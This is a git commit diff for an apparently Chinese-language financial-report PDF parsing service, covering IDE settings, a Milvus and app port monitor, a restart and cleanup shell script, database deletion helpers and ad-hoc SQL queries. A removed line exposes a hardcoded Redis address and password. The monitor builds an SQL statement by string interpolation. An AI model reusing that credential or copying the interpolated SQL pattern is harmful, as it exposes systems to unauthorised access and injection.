Compare commits

..

1 Commits

Author SHA1 Message Date
dswu a3d5164123 提交信息 2025-09-02 15:23:55 +08:00
85 changed files with 3291 additions and 2933 deletions

8
.idea/.gitignore vendored Normal file
View File

@ -0,0 +1,8 @@
# Default ignored files
/shelf/
/workspace.xml
# Editor-based HTTP Client requests
/httpRequests/
# Datasource local storage ignored files
/dataSources/
/dataSources.local.xml

6
.idea/encodings.xml Normal file
View File

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="Encoding">
<file url="file://$PROJECT_DIR$/zzb_data_word/log-day/sec.log" charset="GBK" />
</component>
</project>

View File

@ -0,0 +1,169 @@
<component name="InspectionProjectProfileManager">
<profile version="1.0">
<option name="myName" value="Project Default" />
<inspection_tool class="PyPackageRequirementsInspection" enabled="true" level="WARNING" enabled_by_default="true">
<option name="ignoredPackages">
<value>
<list size="156">
<item index="0" class="java.lang.String" itemvalue="pandas" />
<item index="1" class="java.lang.String" itemvalue="protobuf" />
<item index="2" class="java.lang.String" itemvalue="decorator" />
<item index="3" class="java.lang.String" itemvalue="TA-Lib" />
<item index="4" class="java.lang.String" itemvalue="websocket-client" />
<item index="5" class="java.lang.String" itemvalue="altgraph" />
<item index="6" class="java.lang.String" itemvalue="tzlocal" />
<item index="7" class="java.lang.String" itemvalue="Babel" />
<item index="8" class="java.lang.String" itemvalue="testpath" />
<item index="9" class="java.lang.String" itemvalue="pickleshare" />
<item index="10" class="java.lang.String" itemvalue="psycopg2" />
<item index="11" class="java.lang.String" itemvalue="defusedxml" />
<item index="12" class="java.lang.String" itemvalue="lml" />
<item index="13" class="java.lang.String" itemvalue="PyQt5-sip" />
<item index="14" class="java.lang.String" itemvalue="javascripthon" />
<item index="15" class="java.lang.String" itemvalue="ipython-genutils" />
<item index="16" class="java.lang.String" itemvalue="tables" />
<item index="17" class="java.lang.String" itemvalue="rqdatac" />
<item index="18" class="java.lang.String" itemvalue="Pygments" />
<item index="19" class="java.lang.String" itemvalue="PyQt5" />
<item index="20" class="java.lang.String" itemvalue="bleach" />
<item index="21" class="java.lang.String" itemvalue="graphviz" />
<item index="22" class="java.lang.String" itemvalue="jsonschema" />
<item index="23" class="java.lang.String" itemvalue="pywin32" />
<item index="24" class="java.lang.String" itemvalue="qtconsole" />
<item index="25" class="java.lang.String" itemvalue="terminado" />
<item index="26" class="java.lang.String" itemvalue="portalocker" />
<item index="27" class="java.lang.String" itemvalue="Werkzeug" />
<item index="28" class="java.lang.String" itemvalue="aniso8601" />
<item index="29" class="java.lang.String" itemvalue="mxnet" />
<item index="30" class="java.lang.String" itemvalue="jupyter-client" />
<item index="31" class="java.lang.String" itemvalue="QDarkStyle" />
<item index="32" class="java.lang.String" itemvalue="ipykernel" />
<item index="33" class="java.lang.String" itemvalue="nbconvert" />
<item index="34" class="java.lang.String" itemvalue="attrs" />
<item index="35" class="java.lang.String" itemvalue="pefile" />
<item index="36" class="java.lang.String" itemvalue="psutil" />
<item index="37" class="java.lang.String" itemvalue="pyinstaller-hooks-contrib" />
<item index="38" class="java.lang.String" itemvalue="PyQtWebEngine" />
<item index="39" class="java.lang.String" itemvalue="simplejson" />
<item index="40" class="java.lang.String" itemvalue="prettytable" />
<item index="41" class="java.lang.String" itemvalue="jedi" />
<item index="42" class="java.lang.String" itemvalue="helpdev" />
<item index="43" class="java.lang.String" itemvalue="pyqtgraph" />
<item index="44" class="java.lang.String" itemvalue="dukpy" />
<item index="45" class="java.lang.String" itemvalue="futu-api" />
<item index="46" class="java.lang.String" itemvalue="matplotlib" />
<item index="47" class="java.lang.String" itemvalue="humanize" />
<item index="48" class="java.lang.String" itemvalue="PyMySQL" />
<item index="49" class="java.lang.String" itemvalue="msgpack" />
<item index="50" class="java.lang.String" itemvalue="idna" />
<item index="51" class="java.lang.String" itemvalue="rsa" />
<item index="52" class="java.lang.String" itemvalue="vnstation" />
<item index="53" class="java.lang.String" itemvalue="pandocfilters" />
<item index="54" class="java.lang.String" itemvalue="numpy" />
<item index="55" class="java.lang.String" itemvalue="pyasn1" />
<item index="56" class="java.lang.String" itemvalue="requests" />
<item index="57" class="java.lang.String" itemvalue="pyrsistent" />
<item index="58" class="java.lang.String" itemvalue="gluoncv" />
<item index="59" class="java.lang.String" itemvalue="jdcal" />
<item index="60" class="java.lang.String" itemvalue="jupyter" />
<item index="61" class="java.lang.String" itemvalue="seaborn" />
<item index="62" class="java.lang.String" itemvalue="zipp" />
<item index="63" class="java.lang.String" itemvalue="prompt-toolkit" />
<item index="64" class="java.lang.String" itemvalue="tigeropen" />
<item index="65" class="java.lang.String" itemvalue="itsdangerous" />
<item index="66" class="java.lang.String" itemvalue="pyee" />
<item index="67" class="java.lang.String" itemvalue="deap" />
<item index="68" class="java.lang.String" itemvalue="websockets" />
<item index="69" class="java.lang.String" itemvalue="ipywidgets" />
<item index="70" class="java.lang.String" itemvalue="scipy" />
<item index="71" class="java.lang.String" itemvalue="tornado" />
<item index="72" class="java.lang.String" itemvalue="pyppeteer" />
<item index="73" class="java.lang.String" itemvalue="Send2Trash" />
<item index="74" class="java.lang.String" itemvalue="et-xmlfile" />
<item index="75" class="java.lang.String" itemvalue="incremental" />
<item index="76" class="java.lang.String" itemvalue="mistune" />
<item index="77" class="java.lang.String" itemvalue="cnocr" />
<item index="78" class="java.lang.String" itemvalue="future" />
<item index="79" class="java.lang.String" itemvalue="mpmath" />
<item index="80" class="java.lang.String" itemvalue="jupyter-console" />
<item index="81" class="java.lang.String" itemvalue="macropy3" />
<item index="82" class="java.lang.String" itemvalue="pycryptodome" />
<item index="83" class="java.lang.String" itemvalue="pytz" />
<item index="84" class="java.lang.String" itemvalue="setproctitle" />
<item index="85" class="java.lang.String" itemvalue="webencodings" />
<item index="86" class="java.lang.String" itemvalue="Pillow" />
<item index="87" class="java.lang.String" itemvalue="Twisted" />
<item index="88" class="java.lang.String" itemvalue="traitlets" />
<item index="89" class="java.lang.String" itemvalue="Automat" />
<item index="90" class="java.lang.String" itemvalue="pywinpty" />
<item index="91" class="java.lang.String" itemvalue="python-dateutil" />
<item index="92" class="java.lang.String" itemvalue="Brotli" />
<item index="93" class="java.lang.String" itemvalue="Click" />
<item index="94" class="java.lang.String" itemvalue="cycler" />
<item index="95" class="java.lang.String" itemvalue="MarkupSafe" />
<item index="96" class="java.lang.String" itemvalue="twisted-iocpsupport" />
<item index="97" class="java.lang.String" itemvalue="constantly" />
<item index="98" class="java.lang.String" itemvalue="mongoengine" />
<item index="99" class="java.lang.String" itemvalue="appdirs" />
<item index="100" class="java.lang.String" itemvalue="docopt" />
<item index="101" class="java.lang.String" itemvalue="ibapi" />
<item index="102" class="java.lang.String" itemvalue="pymssql" />
<item index="103" class="java.lang.String" itemvalue="pyzmq" />
<item index="104" class="java.lang.String" itemvalue="certifi" />
<item index="105" class="java.lang.String" itemvalue="entrypoints" />
<item index="106" class="java.lang.String" itemvalue="peewee" />
<item index="107" class="java.lang.String" itemvalue="pyparsing" />
<item index="108" class="java.lang.String" itemvalue="sympy" />
<item index="109" class="java.lang.String" itemvalue="notebook" />
<item index="110" class="java.lang.String" itemvalue="hyperlink" />
<item index="111" class="java.lang.String" itemvalue="win-unicode-console" />
<item index="112" class="java.lang.String" itemvalue="kiwisolver" />
<item index="113" class="java.lang.String" itemvalue="zope.interface" />
<item index="114" class="java.lang.String" itemvalue="APScheduler" />
<item index="115" class="java.lang.String" itemvalue="backcall" />
<item index="116" class="java.lang.String" itemvalue="PySocks" />
<item index="117" class="java.lang.String" itemvalue="widgetsnbextension" />
<item index="118" class="java.lang.String" itemvalue="numexpr" />
<item index="119" class="java.lang.String" itemvalue="pyecharts-snapshot" />
<item index="120" class="java.lang.String" itemvalue="jupyter-core" />
<item index="121" class="java.lang.String" itemvalue="pyecharts-jupyter-installer" />
<item index="122" class="java.lang.String" itemvalue="Delorean" />
<item index="123" class="java.lang.String" itemvalue="SQLAlchemy" />
<item index="124" class="java.lang.String" itemvalue="wcwidth" />
<item index="125" class="java.lang.String" itemvalue="importlib-metadata" />
<item index="126" class="java.lang.String" itemvalue="Jinja2" />
<item index="127" class="java.lang.String" itemvalue="simplegeneric" />
<item index="128" class="java.lang.String" itemvalue="stomp.py" />
<item index="129" class="java.lang.String" itemvalue="pywin32-ctypes" />
<item index="130" class="java.lang.String" itemvalue="pyecharts" />
<item index="131" class="java.lang.String" itemvalue="urllib3" />
<item index="132" class="java.lang.String" itemvalue="Flask" />
<item index="133" class="java.lang.String" itemvalue="coverage" />
<item index="134" class="java.lang.String" itemvalue="pyinstaller" />
<item index="135" class="java.lang.String" itemvalue="pymongo" />
<item index="136" class="java.lang.String" itemvalue="six" />
<item index="137" class="java.lang.String" itemvalue="parso" />
<item index="138" class="java.lang.String" itemvalue="pytesseract" />
<item index="139" class="java.lang.String" itemvalue="nbformat" />
<item index="140" class="java.lang.String" itemvalue="ipython" />
<item index="141" class="java.lang.String" itemvalue="jqdatasdk" />
<item index="142" class="java.lang.String" itemvalue="python-rapidjson" />
<item index="143" class="java.lang.String" itemvalue="packaging" />
<item index="144" class="java.lang.String" itemvalue="pyecharts-javascripthon" />
<item index="145" class="java.lang.String" itemvalue="prometheus-client" />
<item index="146" class="java.lang.String" itemvalue="jupyter-echarts-pypkg" />
<item index="147" class="java.lang.String" itemvalue="chardet" />
<item index="148" class="java.lang.String" itemvalue="tqdm" />
<item index="149" class="java.lang.String" itemvalue="thriftpy2" />
<item index="150" class="java.lang.String" itemvalue="colorama" />
<item index="151" class="java.lang.String" itemvalue="vnpy" />
<item index="152" class="java.lang.String" itemvalue="ply" />
<item index="153" class="java.lang.String" itemvalue="Flask-RESTful" />
<item index="154" class="java.lang.String" itemvalue="openpyxl" />
<item index="155" class="java.lang.String" itemvalue="python-docx" />
</list>
</value>
</option>
</inspection_tool>
</profile>
</component>

View File

@ -0,0 +1,6 @@
<component name="InspectionProjectProfileManager">
<settings>
<option name="USE_PROJECT_PROFILE" value="false" />
<version value="1.0" />
</settings>
</component>

7
.idea/misc.xml Normal file
View File

@ -0,0 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="Black">
<option name="sdkName" value="Python 3.8" />
</component>
<component name="ProjectRootManager" version="2" project-jdk-name="Python 3.8" project-jdk-type="Python SDK" />
</project>

8
.idea/modules.xml Normal file
View File

@ -0,0 +1,8 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ProjectModuleManager">
<modules>
<module fileurl="file://$PROJECT_DIR$/.idea/pdfcode.iml" filepath="$PROJECT_DIR$/.idea/pdfcode.iml" />
</modules>
</component>
</project>

12
.idea/pdfcode.iml Normal file
View File

@ -0,0 +1,12 @@
<?xml version="1.0" encoding="UTF-8"?>
<module type="PYTHON_MODULE" version="4">
<component name="NewModuleRootManager">
<content url="file://$MODULE_DIR$" />
<orderEntry type="jdk" jdkName="Python 3.8" jdkType="Python SDK" />
<orderEntry type="sourceFolder" forTests="false" />
</component>
<component name="PyDocumentationSettings">
<option name="format" value="PLAIN" />
<option name="myDocStringFormat" value="Plain" />
</component>
</module>

7
.idea/vcs.xml Normal file
View File

@ -0,0 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="VcsDirectoryMappings">
<mapping directory="" vcs="Git" />
<mapping directory="$PROJECT_DIR$/zzb_data_prod" vcs="Git" />
</component>
</project>

View File

@ -2,6 +2,9 @@ import socket
import subprocess
import time
from datetime import datetime
import os
import mysql.connector
from zzb_data_prod.config import MYSQL_HOST,MYSQL_USER,MYSQL_PASSWORD,MYSQL_DB
def get_time():
return datetime.now().strftime('%Y-%m-%d %H:%M:%S')
@ -13,18 +16,15 @@ def check_port(host, port):
sock.settimeout(5)
result = sock.connect_ex((host, port))
sock.close()
return result
return result == 0 # 返回布尔值,表示端口是否可用
except Exception as e:
print(f"[{get_time()}] 端口检测异常: {str(e)}")
return False
def restart_service():
try:
subprocess.run("bash /root/docker/milvus/standalone_embed.sh restart", shell=True)
# 正确示例
# subprocess.run(["bash", "standalone_embed.sh", "restart"])
subprocess.run(["bash", "/root/docker/milvus/standalone_embed.sh", "restart"])
print(f"[{get_time()}] milvus服务重启成功")
return True
except subprocess.CalledProcessError as e:
@ -32,27 +32,94 @@ def restart_service():
return False
def restart_zzbservice():
def start_application_process():
"""启动8000端口对应的应用进程"""
try:
subprocess.run("cd /root/pdf_parser/zzb_data_prod", shell=True)
subprocess.run("nohup python3 app.py > app.log 2>&1 &", shell=True)
print("zzb服务重启成功")
# 先尝试停止可能存在的旧进程
time.sleep(2) # 给进程停止的时间
# 进入应用目录
# 启动新进程
subprocess.run(
["bash", "/root/pdf_parser/restart_app.sh"],
)
print(f"[{get_time()}] 应用进程(8000端口)已成功启动")
return True
except subprocess.CalledProcessError as e:
print(f"[{get_time()}] zzb服务重启失败: {str(e)}")
except Exception as e:
print(f"[{get_time()}] 启动应用进程失败: {str(e)}")
return False
def get_local_ip():
try:
# 创建一个 UDP 套接字
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 连接到一个外部地址(这里使用 Google 的公共 DNS 服务器)
s.connect(("8.8.8.8", 80))
# 获取本地套接字的 IP 地址
local_ip = s.getsockname()[0]
except Exception as e:
print(f"[{get_time()}] 获取内网 IP 失败: {e}")
local_ip = "127.0.0.1" # 如果失败,返回本地回环地址
finally:
s.close() # 关闭套接字
return local_ip
def monitor_port_8000():
"""监控8000端口如果异常则启动应用进程"""
print(f"[{get_time()}] 检查8000端口状态...")
port_available = check_port("127.0.0.1", 8000)
if not port_available:
print(f"[{get_time()}] 检测到8000端口异常尝试启动应用进程...")
success = start_application_process()
if success:
# 启动后检查是否成功
time.sleep(10) # 等待应用启动
if check_port("127.0.0.1", 8000):
print(f"[{get_time()}] 应用进程启动成功8000端口已正常")
# INSERT_YOUR_CODE
# 检查并修改数据库字段
try:
conn = mysql.connector.connect(
host=MYSQL_HOST,
user=MYSQL_USER,
password=MYSQL_PASSWORD,
database=MYSQL_DB
)
cursor = conn.cursor()
local_ip = get_local_ip()
sql = f"update model_ip set status = 0 where ip = '{local_ip}:8000';"
print(f"[{get_time()}] 执行sql: {sql}")
cursor.execute(sql)
conn.commit()
print(f"[{get_time()}] 数据库字段已成功修改")
except Exception as e:
print(f"[{get_time()}] 修改数据库字段失败: {str(e)}")
finally:
try:
cursor.close()
conn.close()
except:
pass
else:
print(f"[{get_time()}] 应用进程启动后8000端口仍未正常")
else:
print(f"[{get_time()}] 8000端口状态正常")
if __name__ == '__main__':
print(f"[{get_time()}] 启动Milvus监控服务")
port_ok = check_port("127.0.0.1", 19530)
if port_ok not in [0,True]:
if not port_ok:
print("检测到Milvus服务异常尝试重启...")
restart_service()
print(f"[{get_time()}] 启动zzb监控服务")
port_ok = check_port("127.0.0.1", 8000)
if port_ok not in [0,True]:
print("检测到zzb服务异常尝试重启...")
restart_zzbservice()
print(f"[{get_time()}] 启动 8000 端口监控服务")
# 开始监控8000端口每60秒检查一次
monitor_port_8000()

76
restart_app.sh Normal file
View File

@ -0,0 +1,76 @@
#!/bin/bash
# 切换到 /root/docker/milvus 目录
cd /root/docker/milvus || { echo "无法进入目录 /root/docker/milvus"; exit 1; }
# 运行 standalone_embed.sh restart 指令
bash standalone_embed.sh restart
#!/bin/bash
# 目标目录(根据实际路径修改)
TARGET_DIR="/root/pdf_parser/pdf"
LOG_FILE="/root/pdf_parser/logs/pdf_clean.log"
# 创建日志目录
mkdir -p "$(dirname "$LOG_FILE")"
# 带时间戳的日志函数
log() {
echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" | tee -a "$LOG_FILE"
}
# 检查目标目录是否存在
if [ ! -d "$TARGET_DIR" ]; then
log "错误:目标目录不存在 $TARGET_DIR"
exit 1
fi
# 执行清理并记录
log "开始清理PDF文件..."
find "$TARGET_DIR" -iname "*.pdf" -print0 | while IFS= read -r -d $'\0' file; do
log "删除文件: $file"
rm -f "$file"
done
log "清理完成,共删除 $(find "$TARGET_DIR" -iname "*.pdf" | wc -l) 个残留文件"
# 设置工作目录和日志路径
WORK_DIR="/root/pdf_parser/zzb_data_prod"
LOG_FILE="$WORK_DIR/app.log"
# 终止现有进程
pids=$(ps -ef | grep app.py | grep -v grep | awk '{print $2}')
if [ -n "$pids" ]; then
echo "[$(date '+%Y-%m-%d %H:%M:%S')] 正在停止现有进程: $pids"
kill -9 $pids
else
echo "[$(date '+%Y-%m-%d %H:%M:%S')] 未找到正在运行的进程"
fi
# 进入工作目录
cd $WORK_DIR || { echo "无法进入目录 $WORK_DIR"; exit 1; }
# 启动服务
echo "[$(date '+%Y-%m-%d %H:%M:%S')] 启动服务..."
nohup python3 app.py > $LOG_FILE 2>&1 &
# 等待进程启动
sleep 2
# 检查进程状态
new_pid=$(ps -ef | grep app.py | grep -v grep | awk '{print $2}')
if [ -n "$new_pid" ]; then
echo "[$(date '+%Y-%m-%d %H:%M:%S')] 服务启动成功进程ID: $new_pid"
echo "--------------------------------"
tail -n 10 $LOG_FILE
else
echo "[$(date '+%Y-%m-%d %H:%M:%S')] 服务启动失败!"
echo "--------------------------------"
cat $LOG_FILE
exit 1
fi

View File

@ -2,19 +2,20 @@ from pymilvus import connections, FieldSchema, CollectionSchema, DataType, Colle
from config import MILVUS_CLIENT
import time
from datetime import datetime, timedelta
from log_config import logger
def create_partition_by_hour(current_hour):
def create_partition_by_hour(file_id):
# 连接到 Milvus 服务器
connections.connect(uri=MILVUS_CLIENT)
# 获取集合
collection_name = "pdf_measure_v4"
collection = Collection(collection_name)
# 创建当前小时的分区
partition_name = f"partition_{current_hour}"
# 创建当前id的分区
partition_name = f"partition_{file_id}"
if not collection.has_partition(partition_name):
collection.create_partition(partition_name)
print(f"Created partition: {partition_name}")
logger.info(f"Created partition: {partition_name}")
partition = collection.partition(partition_name)
partition.load()
@ -27,7 +28,7 @@ def create_partition_by_hour(current_hour):
pre_partition = collection.partition(name)
pre_partition.release()
collection.drop_partition(name)
print(f"Partition '{name}' deleted.")
logger.info(f"Partition '{name}' deleted.")
connections.disconnect("default")

View File

@ -54,6 +54,11 @@ def run_job():
logger.info(f'通知任务状态任务:{file_id}:{response.text}')
logger.info(f"{file_id}运行失败: {e}")
continue_execution = False
#
db_service.delete_MYSQL_DB_APP(file_id)
db_service.delete_MYSQL_DB(file_id)
if continue_execution:
parent_table_pages = file_info['parent_table_pages']
page_num = file_info['page_count']
@ -112,11 +117,10 @@ def run_job():
# 获取当前时间
now = datetime.now()
current_hour = now.strftime("%Y%m%d%H")
partition_name = f"partition_{current_hour}"
partition_name = f"partition_{file_id}"
# 判断是否创建新的分区
create_partition_by_hour(current_hour)
create_partition_by_hour(file_id)
time.sleep(10)
# 判断是否为3季报
@ -231,14 +235,20 @@ if __name__ == "__main__":
try:
# 获取内网IP
ip = get_local_ip()
response = requests.get(f"/api/tenant/report/restart?address={ip}:{config.PORT}")
logger.info(f"内网IP地址: {ip}")
# 假设 config.NOTIFY_ADDR 是一个字符串,我们可以使用 rpartition 方法来替换最后一个 / 后面的值
url = config.NOTIFY_ADDR.rpartition('/')[0] + '/restart?address'
address = f"{ip}:{config.PORT}"
logger.info(address)
response = requests.get(url, params={'address':address})
logger.info(f"Response status code: {response.status_code}")
except KeyboardInterrupt:
logger.info("Shutdown server")
# 本地调试任务
# job_queue.put({
# 'file_path' : '1.pdf',
# 'file_id' : '2122'
# 'file_id' : '2222222'
# })
#
# run_job()

View File

@ -886,7 +886,6 @@ def runing_job():
return False
def insert_pdf_parse_process(parser_info,conn,cursor):
# 执行SQL语句插入数据
insert_query = '''
INSERT INTO pdf_parse_process
@ -903,15 +902,26 @@ def insert_pdf_parse_process(parser_info,conn,cursor):
conn.commit()
def delete_database(conn,cursor,file_id):
def delete_MYSQL_DB_APP(file_id):
conn = mysql.connector.connect(
host = MYSQL_HOST_APP,
user = MYSQL_USER_APP,
password = MYSQL_PASSWORD_APP,
database = MYSQL_DB_APP
)
# 创建一个cursor对象来执行SQL语句
cursor = conn.cursor(buffered=True)
try:
truncate_query = [
"delete from ori_measure_list where file_id = %s;",
"delete from measure_list where file_id = %s;",
"delete from check_measure_list where file_id = %s;",
"delete from check_measure_detail_list where file_id = %s;",
"delete from measure_parse_process where file_id = %s;",
"delete from measure_parser_info where file_id = %s;",
"delete from pdf_parse_process where file_id = %s;",
"delete from table_unit_info where file_id = %s;",
# "delete from a where file_id = %s;",
# "delete from b where file_id = %s;",
]
#file_id = file_id
for truncate in truncate_query:
@ -920,18 +930,26 @@ def delete_database(conn,cursor,file_id):
except Exception as e:
logger.info(f'删除失败,原因是{e}')
def delete_to_run(conn,cursor,file_id):
def delete_MYSQL_DB(file_id):
conn = mysql.connector.connect(
host = MYSQL_HOST,
user = MYSQL_USER,
password = MYSQL_PASSWORD,
database = MYSQL_DB
)
# 创建一个cursor对象来执行SQL语句
cursor = conn.cursor(buffered=True)
try:
truncate_query = [
"delete from ori_measure_list where file_id = %s;",
"delete from measure_list where file_id = %s;",
"delete from check_measure_list where file_id = %s;",
"delete from check_measure_detail_list where file_id = %s;",
# "delete from table_unit_info where file_id = %s;",
# "delete from pdf_parse_process where file_id = %s;",
# "delete from table_unit_info where file_id = %s;",
# "delete from a where file_id = %s;",
# "delete from b where file_id = %s;",
"delete from measure_parse_process where file_id = %s;",
"delete from measure_parser_info where file_id = %s;",
"delete from pdf_parse_process where file_id = %s;",
"delete from table_unit_info where file_id = %s;",
]
#file_id = file_id
for truncate in truncate_query:

View File

@ -222,17 +222,18 @@ def get_table_range(file_path, file_id, pages, tables_range):
try:
tables = camelot.read_pdf(file_path, pages=pages, strip_text=',\n', copy_text=['v','h'],shift_text = ['l'])
for t in tables:
top = t._bbox[3]
buttom = t._bbox[1]
page_num = int(t.page)
table_index = int(t.order)
arr = np.array(t.data)
if page_num != 0:
# 表格数据写入
line_texts = []
for lines in t.data:
lines = list(set(lines))
for line in lines:
line_texts.append(line)
@ -410,6 +411,7 @@ def get_table_range(file_path, file_id, pages, tables_range):
pattern = re.findall(PATTERN,arr_str)
muilt_pattern = re.findall(MUILT_PATTERN,arr_str)
if len(matches) > 0 and len(pattern) == 0 and len(muilt_pattern)<5:
if not tables_range.get(page_num):
tables_range[page_num] = []
@ -924,12 +926,14 @@ def update_measure_data(file_id,file_path,parent_table_pages,partition_name):
# 创建一个cursor对象来执行SQL语句
cursor_app = conn_app.cursor(buffered=True)
logger.info(f'目录黑名单为:{parent_table_pages}')
db_service.delete_to_run(conn,cursor,file_id)
db_service.insert_table_measure_from_vector_async_process(cursor,parent_table_pages,file_id,file_path, partition_name)
# #指标归一化处理
db_service.update_ori_measure(conn,cursor,file_id)
#db_service.delete_database(conn_app,cursor_app,file_id)
cursor.close()
conn.close()
cursor_app.close()
@ -1063,8 +1067,12 @@ def start_table_measure_job(file_id,partition_name):
cursor_app.execute(select_process_query)
records = cursor_app.fetchall()
pdf_info = []
for record in records:
pdf_info.append(eval(record[0]))
try:
pdf_info.append(eval(record[0]))
except Exception as e:
logger.info(f'文本报错{e}')
sorted_pdf_info = sorted(pdf_info, key=lambda k: k['sort_num'])
pdf_tables = merge_consecutive_arrays(sorted_pdf_info)

View File

@ -83,7 +83,7 @@ def get_page_end(start, depth, title_array):
def get_file_split(page_count):
# 获取 CPU 核数
cpu_count = os.cpu_count()
cpu_count = 4
if page_count < cpu_count:
cpu_count = page_count
# 使用 divmod() 函数计算除法结果和余数
@ -157,7 +157,7 @@ def create_text_outline(pdf_path, file_id):
if len(re.findall('财务报表主要项目注释', title)) == 0:
page_end = page_end - 1
# print(title,page_start,page_end)
for i in range(page_start, page_end):
for i in range(page_start, page_end + 1):
# 将每个数字添加到列表中
parent_table_pages_local[file_id].append(i)
file_info['page_count'] = page_count

View File

@ -1,4 +1,7 @@
import redis
from config import REDIS_HOST, REDIS_PORT, REDIS_PASSWORD
redis_client = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, password=REDIS_PASSWORD, db=6)
# 从 MySQL 表中读取数据并写入 Redis
def read_from_file_and_write_to_redis(redis_client,ori_measure_id,measure_vector):
# Redis 连接配置
@ -10,7 +13,7 @@ def read_from_redis(redis_client,ori_measure_id):
return redis_client.hget('measure_config',ori_measure_id).decode()
if __name__ == "__main__":
redis_client = redis.Redis(host='192.168.0.175', port=6379, password='Xgf_redis', db=6)
redis_client = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, password=REDIS_PASSWORD, db=6)
value = read_from_redis(redis_client,"bb3cf43f3dba147373c706c6567b5a")
print(value)

View File

@ -0,0 +1,4 @@
import redis
from config import REDIS_HOST, REDIS_PORT, REDIS_PASSWORD
redis_client = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, password=REDIS_PASSWORD, db=6)

View File

@ -0,0 +1,268 @@
SELECT * from ori_measure_list where file_id=201928 and measure_name like "%营业收入%";
SELECT * from ori_measure_list where file_id=39302 and measure_name like "%经营活动现金流%" order by page_number;
SELECT * from ori_measure_list where file_id=201876 and measure_name like "%经营活动现金流%" order by page_number;
SELECT * from measure_list where file_id=201876;
SELECT * from word_measure_parse_process where file_id=201834;
SELECT * from pdf_parse_process where file_id=201844 and content like '%"table"%' ORDER BY page_num;
SELECT * from measure_parse_process where file_id=201844 and content like '%经营活动%';
SELECT * from word_measure_parse_process where file_id=201876 and content like '%经营活动%'
SELECT * from measure_list where file_id=201844 and measure_name like "%经营活动现金流%";
SELECT * from measure_list where file_id=201876 and measure_name like "%经营活动现金流%";
##问题1 page——num 11 这个 word 没存
SELECT * from word_parse_process where file_id=201837 and content like '%"table"%' ORDER BY page_num;
DELETE from word_parse_process where file_id=201834 ;
DELETE from ori_measure_list where file_id=201834 ;
SELECT * from report_check order by create_time desc ;
select count(*) from word_measure_parse_process where file_id = 593;
select count(*) from word_measure_parse_process where file_id = 201834;
SELECT ori_measure_name,measure_name,distance,ori_measure_id,measure_id FROM measure_config_third_quarter
where year = 2023
SELECT * from pdf_text_info where file_id=201844;
SELECT * FROM measure_black_list where isdel = 0 and find_in_set(3,flag) and find_in_set(2023,year) and measure_name like "%经营活动%";
SELECT * from measure_parser_info where file_id=201928;
SELECT * from word_measure_parse_process where file_id=201928;
select * from word_parse_process WHERE file_id = '201928' order by page_num;
SELECT * from report_check WHERE id = "40925";
select
InnerCode
,CompanyCode
,LPAD(SecuCode,6,'0') as SecuCode
,ChiName
from secumain s
where ListedState=1
and ListedSector in (1,2,6,7,8)
and SecuCategory in (1,41)
and SecuMarket in (18,83,90)
SELECT * from third_measure_data where SecuCode like '688032' ;
set @year = "2023";
set @enddate = "2023-6-30 00:00:00";
set @InfoPublDate = '2024-9-30 00:00:00';
-- 年报是0 半年报是1
set @report_type = 1;
SELECT * from lc_stibmaindata WHERE CompanyCode = '19767000' and IfMerged='1' and EndDate=@enddate and InfoPublDate < @InfoPublDate;
SELECT * from lc_stibincomestate WHERE CompanyCode = '19767000' and IfMerged='1' and EndDate=@enddate and InfoPublDate < @InfoPublDate;
SELECT * from lc_stibbalancesheet WHERE CompanyCode = '19767000' and IfMerged='1' and EndDate=@enddate and InfoPublDate < @InfoPublDate;
drop table if exists third_quarter_external_data_tmp_pre;
create table third_quarter_external_data_tmp_pre
as
select distinct @year as year
,@report_type as report_type
,t1.*
,Infopubldate
,InfoPublDate_end
,OperatingReenue
,NPFromParentCompanyOwners
,NetProfitCut
,NetOperateCashFlow
,NetFinanceCashFlow
,NetInvestCashFlow
,NonRecurringProfitLoss
,BasicEPS
,DilutedEPS
,WROE
,WROECut
,TotalAssets
,CashEquivalents
,AccountReceivable
,Inventories
,TotalFixedAsset
,TConstruInProcess
,GoodWill
,ShortTermLoan
,AccountsPayable
,ContractLiability
,LongtermLoan
,AccountingStandards
,OperatingExpense
,OperatingCost
,AdministrationExpense
,FinancialExpense
,RAndD
from
(
select
InnerCode
,CompanyCode
,LPAD(SecuCode,6,'0') as SecuCode
,ChiName
from secumain s
where ListedState=1
and ListedSector in (1,2,6,7,8)
and SecuCategory in (1,41)
and SecuMarket in (18,83,90)
)t1
left join
(
select
CompanyCode
,Infopubldate
,OperatingReenue
, null as NPFromParentCompanyOwners
,NetProfitCut
,NetOperateCashFlow
,NetFinanceCashFlow
,NetInvestCashFlow
,NonRecurringProfitLoss
,BasicEPS
,DilutedEPS
,WROE
,WROECut
from
(
SELECT *
FROM (SELECT b.*
,@rownum := @rownum+1
,IF(@pdept = b.CompanyCode, @rank := @rank + 1, @rank := 1) AS rank_num
,@pdept := b.CompanyCode
FROM (SELECT * FROM lc_stibmaindata a
where EndDate=@enddate and InfoPublDate < @InfoPublDate
ORDER BY a.CompanyCode, a.InfoPublDate DESC) b
-- 初始化自定义变量值
,(SELECT @rownum :=0, @pdept := NULL, @rank:=0) c
-- 该排序必须,否则结果会不对
ORDER BY b.CompanyCode, b.InfoPublDate DESC) result
order by CompanyCode, rank_num
)t where t.rank_num=1
)t2
on t1.CompanyCode = t2.CompanyCode
left join
(
select
EndDate,
InfoSourceCode as InfoSource,
CompanyCode,
TotalAssets
from
(
SELECT *
FROM (SELECT b.*
,@rownum := @rownum+1
,IF(@pdept = b.CompanyCode, @rank := @rank + 1, @rank := 1) AS rank_num
,@pdept := b.CompanyCode
FROM (SELECT * FROM lc_stibmaindata a
where EndDate=@enddate and InfoPublDate < @InfoPublDate
ORDER BY a.CompanyCode, a.InfoPublDate DESC) b
-- 初始化自定义变量值
,(SELECT @rownum :=0, @pdept := NULL, @rank:=0) c
-- 该排序必须,否则结果会不对
ORDER BY b.CompanyCode, b.InfoPublDate DESC) result
order by CompanyCode, rank_num
)t where t.rank_num=1
)t5
on t1.CompanyCode = t5.CompanyCode
left join
(
select
EndDate,
InfoPublDate as InfoPublDate_end,
